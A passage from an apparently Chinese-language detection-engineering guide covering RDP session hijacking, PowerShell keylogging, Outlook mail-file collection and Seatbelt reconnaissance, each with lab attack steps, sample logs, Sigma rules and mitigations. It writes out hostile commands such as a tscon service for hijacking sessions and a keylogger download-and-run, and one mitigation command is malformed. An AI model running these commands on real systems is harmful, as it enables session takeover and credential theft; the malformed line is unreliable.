**Sysmon配置**:配置Sysmon监控进程创建(事件ID 1)、进程访问(事件ID 10)和网络连接(事件ID 3)。 - **EDR监控**:使用EDR工具(如Microsoft Defender for Endpoint)检测Mimikatz和NTLM认证异常。 - **误报过滤**:排除合法管理员操作或测试活动,结合上下文(如用户、IP)降低误报率。 ## 缓解措施 1. **补丁管理**: - 安装KB2871997(Windows 7及更高版本),限制非RID 500账户的PtH。 2. **凭据保护**: - 禁用NTLM认证,优先使用Kerberos: ```powershell Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RestrictNTLM" -Value 1 ``` - 启用多因素认证(MFA)保护管理员账户。 3. **进程保护**: - 使用Protected Process Light(PPL)保护`lsass.exe`,防止哈希提取。 ```powershell Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1 ``` 4. **网络限制**: - 配置防火墙阻止未经授权的TCP 445/3389流量。 - 使用网络分段隔离敏感系统。 5. **监控与告警**: - 部署IDS/IPS,检测异常NTLM流量。 - 配置SIEM实时告警PtH相关事件。 ## 参考推荐 - MITRE ATT&CK T1550.002 https://attack.mitre.org/techniques/T1550/002 - Sigma规则 - PtH(目标主机) https://github.com/12306Bro/sigma/blob/master/rules/windows/builtin/win_pass_the_hash.yml - Sigma规则 - PtH(攻击机) https://github.com/12306Bro/sigma/blob/master/rules/windows/builtin/win_pass_the_hash_2.yml - Binary Defense - PtH检测 https://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis - Stealthbits - PtH检测 https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/ ================================================ FILE: Windows/10横向移动/T1563.002-Win-远程服务会话劫持-RDP劫持.md ================================================ # T1563.002-Win-远程服务会话劫持-RDP劫持 ## 描述 攻击者可能通过劫持合法用户的远程桌面协议(RDP)会话,在网络环境中实现横向移动。RDP是Windows系统的常见功能,允许用户通过图形用户界面与远程系统交互,微软将其实现称为远程桌面服务(RDS)。攻击者可利用系统权限或工具(如`tscon.exe`)劫持现有RDP会话,无需凭据或用户交互即可接管会话。这种技术可在本地或远程执行,适用于活动或断开的会话。劫持域管理员会话可能导致权限提升或远程系统发现。攻击者通常使用原生Windows命令(如`query user`、`tscon.exe`)或红队工具(如Mimikatz)实现此技术。 ## 测试案例 ### 用例 - **会话劫持**:攻击者使用`tscon.exe`接管目标系统的RDP会话,执行命令或访问资源。 - **横向移动**:通过劫持管理员RDP会话,访问其他网络系统。 - **权限提升**:劫持域管理员会话,获取更高权限。 - **隐形操作**:创建临时服务(如`sesshijack`)运行`tscon.exe`,避免用户察觉。 ### 示例场景 - 攻击者以管理员权限运行`query user`枚举RDP会话,使用`tscon.exe`劫持目标会话,接管用户桌面。 - 创建临时服务`sesshijack`运行`tscon.exe`,实现自动化会话劫持。 ### 路径 - 相关工具路径: ```yml - C:\Windows\System32\tscon.exe - C:\Windows\System32\sc.exe - C:\Windows\System32\cmd.exe ``` ### 所需权限 - 管理员权限(运行`tscon.exe`、创建服务)。 - 系统权限(某些场景下,如直接访问`lsass.exe`)。 ### 操作系统 - Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。 ## 检测日志 ### Windows安全日志 - **事件ID 4688**:记录`tscon.exe`、`sc.exe`或`cmd.exe`进程创建(需启用命令行审核)。 - **事件ID 7045**:记录新服务创建(如`sesshijack`)。 - **事件ID 4624**:记录RDP会话的网络登录(Logon Type 10)。 - **事件ID 4672**:记录分配给新登录的安全特权。 ### Sysmon日志 - **事件ID 1**:捕获`tscon.exe`、`sc.exe`或`cmd.exe`进程创建及命令行参数。 - **事件ID 13**:记录服务相关的注册表修改(如`sesshijack`)。 - **事件ID 3**:记录RDP相关的网络连接(TCP 3389)。 ### 网络日志 - 捕获TCP 3389端口的RDP流量,关注会话切换。 ## 测试复现 ### 环境准备 - **靶机**:Windows Server 2016或Windows 10/11(已启用RDP,存在活动会话)。 - **权限**:本地或域管理员权限。 - **工具**: - 原生Windows工具(`query user`、`tscon.exe`、`sc.exe`)。 - Sysmon(监控进程和注册表活动)。 - Wireshark(捕获RDP流量)。 - **网络**:隔离网络环境,允许TCP 3389流量。 - **日志**:启用Windows安全日志(事件ID 4688、7045)、Sysmon日志和网络日志。 - **RDP配置**: - 确保RDP服务启用: ```powershell Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0 Enable-NetFirewallRule -DisplayGroup "Remote Desktop" ``` ### 攻击步骤 1. **枚举RDP会话**: ```cmd query user ``` - 示例输出: ```plaintext USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME >administrator console 1 Active none 2025/06/08 04:10 user1 rdp-tcp#55 2 Disc 1+00:00 2025/06/08 03:50 ``` - 记录目标会话ID(如`2`)和目标会话名(如`rdp-tcp#55`)。 2. **创建临时服务**: ```cmd sc.exe create sesshijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#55" ``` - 创建服务`sesshijack`,运行`tscon.exe`劫持会话ID 2。 3. **启动服务**: ```cmd net start sesshijack ``` - 若服务启动失败(如无RDP会话),检查会话ID和目标会话名。 4. **验证结果**: - 检查是否成功接管RDP会话(通过RDP客户端连接,观察桌面切换)。 - 使用Wireshark捕获TCP 3389流量。 - 验证Sysmon日志是否记录`sc.exe`、`tscon.exe`进程创建和服务注册表修改。 5. **清理**: - 删除服务: ```cmd sc.exe delete sesshijack ``` - 断开RDP会话: ```cmd logoff 2 ``` ## 测试留痕 以下为Sysmon日志示例(事件ID 1,进程创建): ```yml EventID: 1 UtcTime: 2025-06-08T04:55:07.755Z ProcessGuid: {78c84c47-e003-61df-3f01-000000000900} ProcessId: 2640 Image: C:\Windows\System32\sc.exe FileVersion: 10.0.17763.1 Description: Service Control Manager Configuration Tool Product: Microsoft® Operating System Company: Microsoft Corporation CommandLine: sc.exe create sesshijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#55" CurrentDirectory: C:\Users\Administrator.ZHULI\ User: ZHULI\Administrator LogonId: 0xA99D3 IntegrityLevel: High Hashes: SHA1=622FA2729408E5F467A592223219DA7C547E7CC7 ParentProcessId: 5196 ParentImage: C:\Windows\System32\cmd.exe ``` 以下为Windows安全日志示例(事件ID 7045,服务创建): ```yml EventID: 7045 TimeCreated: 2025-06-08T04:55:08.123Z Channel: System Hostname: TARGET-SRV ServiceName: sesshijack ImagePath: cmd.exe /k tscon 2 /dest:rdp-tcp#55 ServiceType: User mode service StartType: Demand start AccountName: LocalSystem ``` ## 检测方法/思路 ### Sigma规则 ```yml title: Suspicious RDP Session Hijacking id: b8c9e7d6-1a5b-2c8d-4e3f-5678e9d0b2f2 status: experimental description: Detects potential RDP session hijacking via tscon.exe or suspicious service creation references: - https://attack.mitre.org/techniques/T1563/002 - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1563.002/T1563.002 logsource: product: windows category: process_creation detection: selection_tscon: EventID: 1 Image|endswith: '\tscon.exe' CommandLine|contains: '/dest:' selection_service: EventID: 1 Image|endswith: '\sc.exe' CommandLine|contains: - 'create' - 'binpath=' - 'cmd.exe /k' - 'cmd.exe /c' - 'tscon' condition: selection_tscon or selection_service falsepositives: - Legitimate administrative use of RDP - IT maintenance scripts creating services level: high ``` ### 检测思路 1. **进程监控**: - 检测`tscon.exe`进程创建,关注命令行参数(如会话ID、`/dest`)。 - 检测`sc.exe`创建服务,尤其是`binpath`包含`cmd.exe /k`或`tscon.exe`。 2. **服务监控**: - 检测事件ID 7045,关注新服务(如`sesshijack`)的异常`ImagePath`。 3. **网络监控**: - 检测TCP 3389端口的RDP流量,关注会话切换或异常源IP。 4. **RDP会话监控**: - 检测事件ID 4624(Logon Type 10),关注RDP会话的频繁切换。 5. **行为基线**: - 建立组织内RDP使用和服务的正常模式,识别异常行为(如夜间操作、非管理员用户)。 ### 检测建议 - **Sysmon配置**:配置Sysmon监控进程创建(事件ID 1)、服务注册表修改(事件ID 13)和网络连接(事件ID 3)。 - **日志配置**:启用Windows系统日志的服务创建审核(事件ID 7045)。 - **EDR监控**:使用EDR工具(如Microsoft Defender for Endpoint)检测`tscon.exe`和异常服务创建。 - **误报过滤**:排除合法RDP管理和IT维护操作,结合上下文(如用户、命令行)降低误报率。 ## 缓解措施 1. **RDP限制**: - 禁用不必要的RDP服务: ```powershell Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 1 ``` - 限制RDP访问,仅允许特定用户或IP: ```powershell Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 1 ``` 2. **凭证保护**: - 启用多因素认证(MFA)保护RDP登录。 - 限制RDP的管理员账户权限。 3. **服务管理**: - 限制非管理员用户创建服务: ```powershell Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services" -Name -Name "RestrictServiceCreation" -Value 1 ``` 4. **网络限制**: - 配置防火墙阻止未授权的TCP 3389流量。 - 使用网络分段隔离敏感系统。 5. **监控和警报**: - 部署IDS/IPS,检测异常RDP流量或`tscon.exe`使用。 - 配置SIEM实时警报RDP会话劫持和服务创建事件。 ## 参考推荐 - MITRE ATT&CK T1563.002 - - 原子红队 T1563.002 - ================================================ FILE: Windows/11收集/T1056.001-Win-键盘记录.md ================================================ # T1056.001-Win-键盘记录 ## 描述 攻击者可能通过记录用户键盘输入来窃取凭据或其他敏感信息,尤其是在操作系统凭据转储(如LSASS转储)无效时。键盘记录(Keylogging)是最常见的输入捕获技术,需在系统上长时间拦截击键以获取有效凭据。攻击者可能通过以下方式实现键盘记录: - **API钩子**:钩住处理击键的API(如`SetWindowsHookEx`、`GetKeyState`、`GetAsyncKeyState`)。 - **硬件缓冲区**:读取键盘硬件的原始击键数据。 - **注册表修改**:更改注册表以启用击键记录。 - **自定义驱动程序**:安装恶意驱动程序捕获击键。 - **系统镜像修改**:修改操作系统以在登录会话中记录击键。 ## 测试案例 ### 用例 - **凭据窃取**:通过记录击键捕获用户输入的用户名和密码。 - **情报收集**:记录键盘输入以获取敏感信息(如聊天记录、文档内容)。 - **持久化监控**:定期记录击键并通过C2通道传输。 ### 测试1:使用PowerSploit的Get-Keystrokes.ps1 利用PowerShell脚本`Get-Keystrokes.ps1`捕获击键并保存到日志文件: - 脚本来源:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1 - 功能:通过调用Windows API(如`GetAsyncKeyState`)记录击键,输出到指定日志文件(如`key.log`)。 #### 攻击命令 需以管理员权限运行PowerShell: ```powershell Set-Location $PathToAtomicsFolder .\T1056.001\src\Get-Keystrokes.ps1 -LogPath $env:TEMP\key.log ``` #### 清理命令 删除生成的日志文件: ```powershell Remove-Item $env:TEMP\key.log -ErrorAction Ignore ``` ### 所需权限 - 管理员权限(运行脚本、访问API或安装驱动程序)。 ### 操作系统 - Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。 ## 检测日志 ### Windows安全日志 - **事件ID 4688**:记录`powershell.exe`进程创建及命令行参数(需启用命令行审核)。 - **事件ID 4663**:记录对注册表的修改(如键盘记录配置)。 ### Sysmon日志 - **事件ID 1**:捕获`powershell.exe`进程创建及命令行参数(如包含`Get-Keystrokes`)。 - **事件ID 11**:记录日志文件(如`key.log`)的创建。 - **事件ID 13**:记录注册表修改(如键盘记录相关键)。 - **事件ID 3**:记录可能的网络连接(若日志文件通过网络传输)。 ### PowerShell日志 - **事件ID 4104**:捕获PowerShell脚本块执行,记录`Get-Keystrokes`相关内容。 ### 文件系统日志 - 监控新创建的日志文件(如`.log`、`.txt`)及其路径。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11或Windows Server 2019。 - **权限**:管理员权限。 - **工具**: - PowerShell(系统自带)。 - Get-Keystrokes.ps1脚本(https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1)。 - Sysmon(用于进程和文件监控)。 - Wireshark(若涉及网络传输,捕获流量)。 - **网络**:隔离网络环境,允许可能的出站流量。 - **日志**:启用Windows安全日志、Sysmon日志和PowerShell日志。 ### 攻击步骤 1. **下载脚本**: - 获取`Get-Keystrokes.ps1`: ```bash Invoke-WebRequest -Uri https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1056.001/src/Get-Keystrokes.ps1 -OutFile $env:TEMP\Get-Keystrokes.ps1 ``` 2. **运行脚本**: ```powershell Set-Location $env:TEMP .\Get-Keystrokes.ps1 -LogPath $env:TEMP\key.log ``` - 脚本将记录击键并保存到`$env:TEMP\key.log`。 3. **验证结果**: - 检查`$env:TEMP\key.log`是否生成并包含击键记录。 - 使用Wireshark捕获网络流量(若数据通过网络传输)。 - 验证Sysmon和PowerShell日志是否记录脚本执行和文件创建。 4. **清理**: ```powershell Remove-Item $env:TEMP\key.log -ErrorAction Ignore Remove-Item $env:TEMP\Get-Keystrokes.ps1 -ErrorAction Ignore ``` ### 注意事项 - 测试需在合法授权的隔离环境中进行,避免对生产环境造成影响。 - Windows Server 2019测试可能失败,建议在Windows 10/11上验证。 - 确保PowerShell执行策略允许运行脚本(`Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass`)。 ## 测试留痕 以下为Windows安全日志示例(事件ID 4688): ```yml EventID: 4688 TimeCreated: 2025-06-08T03:25:45.123Z Channel: Security Hostname: DESKTOP-PT656L6 SubjectUserSid: S-1-5-21-1234567890-123456789-1234567890-1001 SubjectUserName: liyang SubjectDomainName: DESKTOP-PT656L6 SubjectLogonId: 0x47126 NewProcessId: 0x1c2d NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ProcessCommandLine: powershell.exe -Command .\Get-Keystrokes.ps1 -LogPath C:\Users\liyang\AppData\Local\Temp\key.log CreatorProcessId: 0x1410 CreatorProcessName: C:\Windows\System32\cmd.exe TokenElevationType: %%1936 MandatoryLabel: S-1-16-12288 ``` 以下为Sysmon日志示例(事件ID 11): ```yml EventID: 11 UtcTime: 2025-06-08T03:25:45.456Z ProcessGuid: {12345678-9abc-def0-1234-56789abcdef0} ProcessId: 7204 Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TargetFilename: C:\Users\liyang\AppData\Local\Temp\key.log CreationUtcTime: 2025-06-08T03:25:45.456Z ``` ## 检测方法/思路 ### Sigma规则 基于Sigma规则,检测PowerShell键盘记录行为: ```yml title: Suspicious PowerShell Keylogging Activity id: d8e7f9c0-4a3b-5c6d-9e8f-2b3c4d5e6f7a status: experimental description: Detects PowerShell scripts executing keylogging activities, such as Get-Keystrokes references: - https://attack.mitre.org/techniques/T1056/001 - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/T1056.001.md - https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1 logsource: product: windows category: process_creation detection: selection: EventID: 4688 Image|endswith: '\powershell.exe' CommandLine|contains: - 'Get-Keystrokes' - 'GetAsyncKeyState' condition: selection falsepositives: - Legitimate PowerShell scripts for system monitoring level: high ``` ### 检测思路 1. **进程监控**: - 检测`powershell.exe`进程的创建,尤其是命令行包含`Get-Keystrokes`或`GetAsyncKeyState`。 - 监控异常父进程(如`cmd.exe`、`explorer.exe`)调用PowerShell。 2. **文件监控**: - 检测新创建的日志文件(如`.log`、`.txt`),尤其是位于临时目录(如`$env:TEMP`)。 3. **注册表监控**: - 检测键盘记录相关的注册表修改(如`HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layouts`)。 - 使用Sysmon事件ID 13捕获注册表操作。 4. **API调用监控**: - 检测常见键盘记录API调用(如`SetWindowsHookEx`、`GetKeyState`、`GetAsyncKeyState`)。 - 使用EDR工具监控异常进程访问这些API。 5. **网络监控**: - 检测日志文件通过网络传输的行为(如上传到C2服务器)。 ### 检测建议 - **Sysmon配置**:配置Sysmon监控`powershell.exe`的进程创建(事件ID 1)、文件创建(事件ID 11)和注册表修改(事件ID 13)。 - **PowerShell日志**:启用PowerShell模块、脚本块和命令行日志,捕获`Get-Keystrokes`相关活动。 - **EDR监控**:使用EDR工具(如Microsoft Defender for Endpoint)监控键盘记录API调用和文件创建。 - **误报过滤**:排除合法监控脚本(如IT管理工具),结合上下文(如用户身份、时间)降低误报率。 ## 缓解措施 1. **PowerShell限制**: - 配置PowerShell执行策略(如`Restricted`或`Constrained Language Mode`),限制未签名脚本的执行。 - 使用AppLocker或WDAC限制`powershell.exe`的执行。 2. **注册表保护**: - 限制非管理员用户修改键盘相关注册表键。 3. **驱动程序控制**: - 使用驱动程序签名强制执行(Driver Signature Enforcement)阻止未签名驱动程序安装。 4. **文件监控**: - 部署文件完整性监控(FIM)工具,检测异常日志文件创建。 5. **网络限制**: - 监控并限制日志文件通过网络传输的行为,阻止未经授权的数据泄露。 ## 参考推荐 - MITRE ATT&CK T1056.001 https://attack.mitre.org/techniques/T1056/001 - Atomic-red-team T1056.001 https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/T1056.001.md - PowerSploit Get-Keystrokes Payload https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1 - PowerShell小技巧之定时记录操作系统行为 https://www.jb51.net/article/56139.htm ================================================ FILE: Windows/11收集/T1114.001-Win-本地电子邮件收集.md ================================================ # T1114.001-Win-本地电子邮件收集 ## 描述 攻击者可能在用户本地系统上收集电子邮箱数据,以获取敏感信息(如凭据、商业机密或通信记录)。这些数据通常存储在电子邮件客户端的本地文件中,例如Outlook的`.pst`(个人存储表)或`.ost`(脱机存储表)文件。Outlook将数据存储在以下默认路径: - **路径**: ```yml - C:\Users\\Documents\Outlook Files - C:\Users\\AppData\Local\Microsoft\Outlook ``` - **文件类型**: - `.pst`:用于POP账户和Outlook 2013及更早版本的IMAP账户,最大50GB(早期版本20GB)。 - `.ost`:用于Outlook 2016及更高版本的IMAP账户和Exchange账户,最大50GB。 攻击者可能通过命令行工具(如`where.exe`)、PowerShell脚本或远程访问工具搜索并复制这些文件,随后通过C2通道泄露。 ## 测试案例 ### 用例 - **文件搜索**:使用`where.exe`或PowerShell搜索`.pst`或`.ost`文件,定位敏感邮件数据。 - **数据泄露**:复制找到的邮件文件并通过网络传输到C2服务器。 - **自动化收集**:脚本自动扫描用户目录,提取所有Outlook数据文件。 ### 示例场景 - 攻击者使用`where.exe`递归搜索用户目录下的`.pst`文件,定位Outlook邮箱数据。 - 恶意PowerShell脚本扫描Outlook默认路径,复制`.ost`文件并上传。 ### 所需权限 - 用户权限(访问用户目录和文件)。 - 管理员权限(若访问受限目录或执行特定工具)。 ### 操作系统 - Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。 ## 检测日志 ### Windows安全日志 - **事件ID 4688**:记录`where.exe`或其他搜索工具的进程创建及命令行参数(需启用命令行审核)。 - **事件ID 4663**:记录对`.pst`或`.ost`文件的访问。 ### Sysmon日志 - **事件ID 1**:捕获`where.exe`或`powershell.exe`进程创建及命令行参数。 - **事件ID 11**:记录`.pst`或`.ost`文件的访问或复制。 - **事件ID 3**:记录可能的网络连接(若文件通过网络传输)。 ### PowerShell日志 - **事件ID 4104**:捕获PowerShell脚本执行,记录搜索或访问邮件文件的命令。 ### 文件系统日志 - 监控`.pst`或`.ost`文件的访问或复制事件。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11或Windows Server 2016/2019。 - **权限**:用户权限。 - **工具**: - `where.exe`(系统自带,位于`C:\Windows\System32`)。 - PowerShell(系统自带)。 - Sysmon(用于进程和文件监控)。 - Wireshark(若涉及网络传输,捕获流量)。 - 测试Outlook文件(如`qax.pst`)。 - **网络**:隔离网络环境,允许可能的出站流量。 - **日志**:启用Windows安全日志、Sysmon日志和PowerShell日志。 ### 攻击步骤 1. **创建测试文件**: - 在`C:\Users\Administrator\Documents\Outlook Files`放置测试文件`qax.pst`。 2. **执行搜索命令**: ```bash C:\Users\Administrator>where /R c:\users\administrator\ *.pst c:\Users\Administrator\Documents\Outlook Files\qax.pst ``` - 命令解释:`/R`表示递归搜索,`*.pst`匹配所有`.pst`文件。 3. **验证结果**: - 检查命令输出是否列出`qax.pst`。 - 验证Sysmon日志是否记录`where.exe`进程和文件访问。 - 若测试文件复制或传输,使用Wireshark捕获网络流量。 4. **清理**: - 删除测试文件(如`del C:\Users\Administrator\Documents\Outlook Files\qax.pst`)。 ### PowerShell替代方法 使用PowerShell搜索`.pst`或`.ost`文件: ```powershell Get-ChildItem -Path C:\Users\Administrator -Recurse -Include *.pst,*.ost ``` ## 测试留痕 以下为Windows安全日志示例(事件ID 4688): ```yml EventID: 4688 TimeCreated: 2025-06-08T03:30:45.123Z Channel: Security Hostname: QAX SubjectUserSid: S-1-5-21-1234567890-123456789-1234567890-500 SubjectUserName: Administrator SubjectDomainName: QAX SubjectLogonId: 0x4463EA NewProcessId: 0x15e0 NewProcessName: C:\Windows\System32\where.exe ProcessCommandLine: where /R c:\users\administrator\ *.pst CreatorProcessId: 0x12b0 CreatorProcessName: C:\Windows\System32\cmd.exe TokenElevationType: %%1936 MandatoryLabel: S-1-16-12288 ``` 以下为Sysmon日志示例(事件ID 11): ```yml EventID: 11 UtcTime: 2025-06-08T03:30:45.456Z ProcessGuid: {12345678-9abc-def0-1234-56789abcdef0} ProcessId: 5600 Image: C:\Windows\System32\where.exe TargetFilename: C:\Users\Administrator\Documents\Outlook Files\qax.pst CreationUtcTime: 2025-06-08T03:30:45.456Z ``` ## 检测方法/思路 ### Sigma规则 基于Sigma规则,检测使用`where.exe`搜索`.pst`或`.ost`文件的活动: ```yml title: Suspicious Local Email File Search id: e9f8c7d6-3a4b-5c6d-9e8f-4b3c5d6e7f8a status: experimental description: Detects use of where.exe to search for .pst or .ost files, potentially for email data collection references: - https://attack.mitre.org/techniques/T1114/001 logsource: product: windows category: process_creation detection: selection: EventID: 4688 Image|endswith: '\where.exe' CommandLine|contains: - '.pst' - '.ost' condition: selection falsepositives: - Legitimate email client maintenance by administrators - Backup or migration scripts accessing .pst/.ost files level: low ``` ### 检测思路 1. **进程监控**: - 检测`where.exe`或`powershell.exe`进程的创建,尤其是命令行包含`.pst`或`.ost`。 - 监控异常父进程(如`cmd.exe`、`powershell.exe`)调用搜索工具。 2. **文件监控**: - 检测`.pst`或`.ost`文件的访问或复制事件,尤其是位于`C:\Users\\Documents\Outlook Files`或`C:\Users\\AppData\Local\Microsoft\Outlook`。 3. **PowerShell监控**: - 检查PowerShell事件ID 4104,捕获搜索`.pst`或`.ost`的脚本(如`Get-ChildItem`)。 4. **网络监控**: - 检测`.pst`或`.ost`文件通过网络传输的行为(如上传到C2服务器)。 5. **行为基线**: - 建立组织内正常邮件文件访问的基线,识别异常行为(如夜间运行、非典型用户)。 ### 检测建议 - **Sysmon配置**:配置Sysmon监控`where.exe`和`powershell.exe`的进程创建(事件ID 1)和文件访问(事件ID 11)。 - **PowerShell日志**:启用PowerShell模块和脚本块日志,捕获搜索邮件文件的脚本。 - **EDR监控**:使用EDR工具(如Microsoft Defender for Endpoint)监控`.pst`或`.ost`文件的异常访问。 - **误报过滤**:排除合法邮件备份或迁移操作,结合上下文(如用户身份、时间)降低误报率。 ## 缓解措施 1. **文件访问控制**: - 限制普通用户对`.pst`和`.ost`文件的访问,仅允许受信任进程(如Outlook)。 - 使用组策略限制对Outlook默认路径的写权限。 2. **应用白名单**: - 使用AppLocker或WDAC限制`where.exe`或`powershell.exe`的异常执行。 3. **文件监控**: - 部署文件完整性监控(FIM)工具,检测`.pst`或`.ost`文件的异常访问或复制。 4. **网络限制**: - 监控并限制大文件(如`.pst`、`.ost`)通过网络传输的行为,阻止未经授权的数据泄露。 ## 参考推荐 - MITRE ATT&CK T1114.001 https://attack.mitre.org/techniques/T1114/001 ================================================ FILE: Windows/11收集/T1119-win-Seatbelt自动收集信息.md ================================================ # T1119-Win-Seatbelt自动收集信息 ## 描述 攻击者在系统或网络中建立立足点后,可能使用自动化技术收集内部信息。自动化收集可通过命令行脚本、PowerShell脚本或专用工具(如Seatbelt)实现,搜索并复制符合攻击者需求的数据(如特定文件类型、配置文件、浏览器历史记录)。这些工具可能内置于恶意软件或远程访问工具中,并常结合其他技术(如文件和目录发现、横向工具传输)以定位和移动文件。Seatbelt是一个功能强大的C#工具,能够快速收集主机安全配置和敏感信息,广泛用于渗透测试和红队行动。 ## 测试案例 ### 用例 - **系统信息收集**:使用Seatbelt收集主机配置,如操作系统版本、补丁状态、用户账户。 - **浏览器历史记录**:提取Chrome、Edge等浏览器的访问历史,获取内部站点域名或IP。 - **凭据收集**:扫描注册表或配置文件,获取保存的凭据或令牌。 - **网络信息**:收集网络共享、连接信息或ARP表。 ### 示例场景 - 攻击者在受损主机上运行Seatbelt,执行`-group=user`命令收集用户信息和浏览器历史,提升内网资产摸索效率。 - 自动化脚本定期运行Seatbelt,将收集的数据通过C2通道传输。 ### 路径 Seatbelt通常以可执行文件形式运行,路径取决于攻击者部署位置: ```yml - C:\Users\[username]\Desktop\Seatbelt.exe - C:\Temp\Seatbelt.exe ``` ### 所需权限 - 用户权限(执行Seatbelt)。 - 管理员权限(部分检查功能,如注册表操作,可能需要提升权限)。 ### 操作系统 - Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。 ## 检测日志 ### Windows安全日志 - **事件ID 4688**:记录`Seatbelt.exe`进程创建及命令行参数(需启用命令行审核)。 - **事件ID 4663**:记录`Seatbelt.exe`访问敏感对象(如注册表键)。 ### Sysmon日志 - **事件ID 1**:捕获`Seatbelt.exe`进程创建及命令行参数。 - **事件ID 11**:记录Seatbelt生成的文件(如输出日志)。 - **事件ID 13**:记录注册表操作(如查询Chrome路径)。 - **事件ID 3**:记录可能的网络连接(若数据通过网络传输)。 ### PowerShell日志 - **事件ID 4104**:若Seatbelt通过PowerShell脚本调用,记录相关脚本块。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11或Windows Server 2016。 - **权限**:用户权限(管理员权限可能提升某些功能)。 - **工具**: - Seatbelt源码或预编译二进制文件(https://github.com/GhostPack/Seatbelt)。 - Visual Studio 2017+(编译Seatbelt)。 - Sysmon(用于进程和文件监控)。 - Wireshark(若涉及网络传输,捕获流量)。 - **网络**:隔离网络环境,允许可能的出站流量。 - **日志**:启用Windows安全日志、Sysmon日志和PowerShell日志。 ### 攻击步骤 1. **编译Seatbelt**: - 下载源码:https://github.com/GhostPack/Seatbelt。 - 使用Visual Studio 2017+编译,支持.NET 3.5或4.0: ```bash msbuild Seatbelt.sln /p:Configuration=Release ``` - 输出路径:`bin\Release\Seatbelt.exe`。 2. **运行Seatbelt**: - 复制`Seatbelt.exe`到靶机(如`C:\Users\wardog\Desktop\Seatbelt.exe`)。 - 执行命令收集用户信息: ```bash C:\Users\wardog\Desktop\Seatbelt.exe -group=user ``` - 或运行所有检查: ```bash C:\Users\wardog\Desktop\Seatbelt.exe -group=all -full ``` 3. **验证结果**: - 检查输出文件或控制台日志,确认收集的信息(如用户账户、浏览器历史)。 - 使用Wireshark捕获网络流量(若数据通过网络传输)。 - 验证Sysmon日志是否记录`Seatbelt.exe`进程和注册表操作。 4. **清理**: - 删除`Seatbelt.exe`和输出文件。 - 清除相关日志(测试环境)。 ## 测试留痕 以下为Windows安全日志示例(事件ID 4688): ```yml EventID: 4688 TimeCreated: 2020-11-02T04:39:11.671Z Channel: Security Hostname: WORKSTATION5 SubjectUserSid: S-1-5-21-3940915590-64593676-1414006259-500 SubjectUserName: wardog SubjectDomainName: WORKSTATION5 SubjectLogonId: 0xC61D9 NewProcessId: 0x2f04 NewProcessName: C:\Users\wardog\Desktop\Seatbelt.exe ProcessCommandLine: Seatbelt.exe -group=user CreatorProcessId: 0x3048 CreatorProcessName: C:\Windows\System32\cmd.exe TokenElevationType: %%1936 MandatoryLabel: S-1-16-12288 ``` 以下为Windows安全日志示例(事件ID 4663,注册表访问): ```yml EventID: 4663 TimeCreated: 2020-11-02T04:39:11.847Z Channel: Security Hostname: WORKSTATION5 SubjectUserSid: S-1-5-21-3940915590-64593676-1414006259-500 SubjectUserName: wardog SubjectDomainName: WORKSTATION5 SubjectLogonId: 0xC61D9 ObjectServer: Security ObjectType: Key ObjectName: \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe HandleId: 0x2b4 AccessList: %%4432 AccessMask: 0x1 ProcessId: 0x2f04 ProcessName: C:\Users\wardog\Desktop\Seatbelt.exe ``` ## 检测方法/思路 ### Sigma规则 基于Sigma规则,检测Seatbelt的执行行为: ```yml title: Suspicious Seatbelt Execution id: b8c9d7e6-2f3a-4d5b-8e7c-1a2b3c4d5e6f status: experimental description: Detects execution of Seatbelt, a tool used for automated host information collection references: - https://attack.mitre.org/techniques/T1119 - https://github.com/GhostPack/Seatbelt - https://github.com/OTRF/Security-Datasets/blob/master/datasets/atomic/windows/discovery/host/cmd_seatbelt_group_user.zip logsource: product: windows category: process_creation detection: selection: EventID: 4688 Image|endswith: '\Seatbelt.exe' condition: selection falsepositives: - Legitimate use of Seatbelt by security teams for auditing level: high ``` ### 检测思路 1. **进程监控**: - 检测`Seatbelt.exe`进程的创建,尤其是命令行参数包含`-group=user`、`-group=all`或`-full`。 - 监控异常父进程(如`cmd.exe`、`powershell.exe`)。 2. **注册表监控**: - 检测`Seatbelt.exe`访问敏感注册表键(如Chrome路径、凭据存储)。 - 使用Sysmon事件ID 13捕获注册表查询或修改。 3. **文件监控**: - 